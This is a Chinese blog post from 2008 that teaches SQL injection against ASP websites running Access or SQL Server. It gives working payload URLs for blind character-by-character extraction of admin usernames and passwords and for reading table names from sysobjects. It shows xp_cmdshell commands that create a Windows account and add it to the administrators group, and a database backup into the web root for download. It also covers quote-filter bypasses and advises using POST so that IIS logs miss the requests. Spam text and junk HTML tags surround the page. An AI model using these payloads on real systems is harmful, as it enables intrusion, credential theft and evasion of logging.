• <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • 生命就像一場云游 坎坷也是一種收獲

    SQL注入的一般步驟

    上一篇 / 下一篇  2008-03-18 15:14:20 / 個人分類:Web安全性測試

    以前我看過得東東~

    首先,判斷環境,尋找注入點,判斷數據庫類型
    其次,根據注入參數類型,在腦海中重構SQL語句的原貌,按參數類型主要分為下面三種:

    (A) ID=49 這類注入的參數是數字型,SQL語句原貌大致如下:
    Select * from 表名 where 字段=49
    注入的參數為ID=49 And [查詢條件],即是生成語句:
    Select * from 表名 where 字段=49 And [查詢條件]

    (B) Class=連續劇 這類注入的參數是字符型,SQL語句原貌大致概如下:
    Select * from 表名 where 字段=’連續劇’
    注入的參數為Class=連續劇’ and [查詢條件] and ‘’=’ ,即是生成語句:
    Select * from 表名 where 字段=’連續劇’ and [查詢條件] and ‘’=’’

    (C) 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下:
    Select * from 表名 where 字段like ’%關鍵字%’
    注入的參數為keyword=’ and [查詢條件] and ‘%25’=’, 即是生成語句:
    Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’

    接著,將查詢條件替換成SQL語句,猜解表名,例如:

    ID=49 And (Select Count(*) from Admin)>=0

    如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。如此循環,直至猜到表名為止。

    表名猜出來后,將Count(*)替換成Count(字段名),用同樣的原理猜解字段名。
    我們舉個例子,已知表Admin中存在username字段,首先,我們取第一條記錄,測試長度:

    http://www.19cn.com/showdetail.asp?id=49 and (select top 1 len(username) from Admin)>0

    先說明原理:如果top 1的username長度大于0,則條件成立;接著就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8

    當然沒人會笨得從0,1,2,3一個個測試,怎么樣才比較快就看各自發揮了。在得到username的長度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII碼,比如:

    id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

    同樣也是用逐步縮小范圍的方法得到第1位字符的ASCII碼,注意的是英文和數字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫成程序測試,效率會有極大的提高。
    SQL注入常用函數

    有SQL語言基礎的人,在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平,特別是一些常用的函數及命令。

    Access:asc(字符) SQLServer:unicode(字符)
    作用:返回某字符的ASCII碼

    Access:chr(數字) SQLServer:nchar(數字)
    作用:與asc相反,根據ASCII碼返回字符

    Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
    作用:返回字符串從N個字符起長度為L的子字符串,即N到N+L之間的字符串

    Access:abc(數字) SQLServer:abc (數字)
    作用:返回數字的絕對值(在猜解漢字的時候會用到)

    Access:A between B And C SQLServer:A between B And C
    作用:判斷A是否界于B與C之間
    中文處理方法

    在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其實只要對中文的編碼有所了解,“中文恐懼癥”很快可以克服。

    先說一點常識:

    Access中,中文的ASCII碼可能會出現負數,取出該負數后用abs()取絕對值,漢字字符不變。

    SQLServer中,中文的ASCII為正數,但由于是UNICODE的雙位編碼,不能用函數ascii()取得ASCII碼,必須用函數unicode ()返回unicode值,再用nchar函數取得對應的中文字符。

     

    深入點的
    利用系統表注入SQLServer數據庫

    SQLServer是一個功能強大的數據庫系統,與操作系統也有緊密的聯系,這給開發者帶來了很大的方便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子:

    http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

      分號;在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執行,先是Select出ID=1的記錄,然后執行存儲過程xp_cmdshell,這個存儲過程用于調用系統命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:

    http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

      將新建的帳號name加入管理員組,不用兩分鐘,你已經拿到了系統最高權限!當然,這種方法只適用于用sa連接數據庫的情況,否則,是沒有權限調用xp_cmdshell的。

     、 http://Site/url.asp?id=1 ;;and db_name()>0

    前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統變量,返回的是連接的數據庫名。

    http://Site/url.asp?id=1;backup database 數據庫名 to disk=’c:\inetpub\wwwroot\1.db’;--

    這是相當狠的一招,從③拿到的數據庫名,加上某些IIS出錯暴露出的絕對路徑,將數據庫備份到Web目錄下面,再用HTTP把整個數據庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網絡地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

     、 http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

    前面說過,sysobjects是SQLServer的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype=’U’ and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎么獲?還是留給我們聰明的讀者思考吧。

    http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

    從⑤拿到表名后,用object_id(‘表名’)獲取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。

     

    繞過程序限制繼續注入

    在入門篇提到,有很多人喜歡用’號測試注入漏洞,所以也有很多人用過濾’號的方法來“防止”注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,還是可以利用相關的函數,達到繞過程序限制的目的。

    在“SQL注入的一般步驟”一節中,我所用的語句,都是經過我優化,讓其不包含有單引號的;在“利用系統表注入SQLServer數據庫”中,有些語句包含有’號,我們舉個例子來看看怎么改造這些語句:

    簡單的如where xtype=’U’,字符U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992)+nchar(25143)代替


    經驗小結

    1.有些人會過濾Select、Update、Delete這些關鍵字,但偏偏忘記區分大小寫,所以大家可以用selecT這樣嘗試一下。

    2.在猜不到字段名時,不妨看看網站上的登錄表單,一般為了方便起見,字段名都與表單的輸入框取相同的名字。

    3.特別注意:地址欄的+號傳入程序后解釋為空格,%2B解釋為+號,%25解釋為%號,具體可以參考URLEncode的相關介紹。

    4.用Get方法注入時,IIS會記錄你所有的提交字符串,對Post方法做則不記錄,所以能用Post的網址盡量不用Get。

    5. 猜解Access時只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區別即可,但是如果能用SQLServer的報錯信息把值暴露出來,那效率和準確率會有極大的提高。


    TAG:

     

    評分:0

    我來說兩句

    顯示全部

    :loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

    日歷

    « 2011-03-21  
      12345
    6789101112
    13141516171819
    20212223242526
    2728293031  

    數據統計

    • 訪問量: 7879
    • 日志數: 64
    • 建立時間: 2007-09-05
    • 更新時間: 2008-04-01

    RSS訂閱

    Open Toolbar
    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>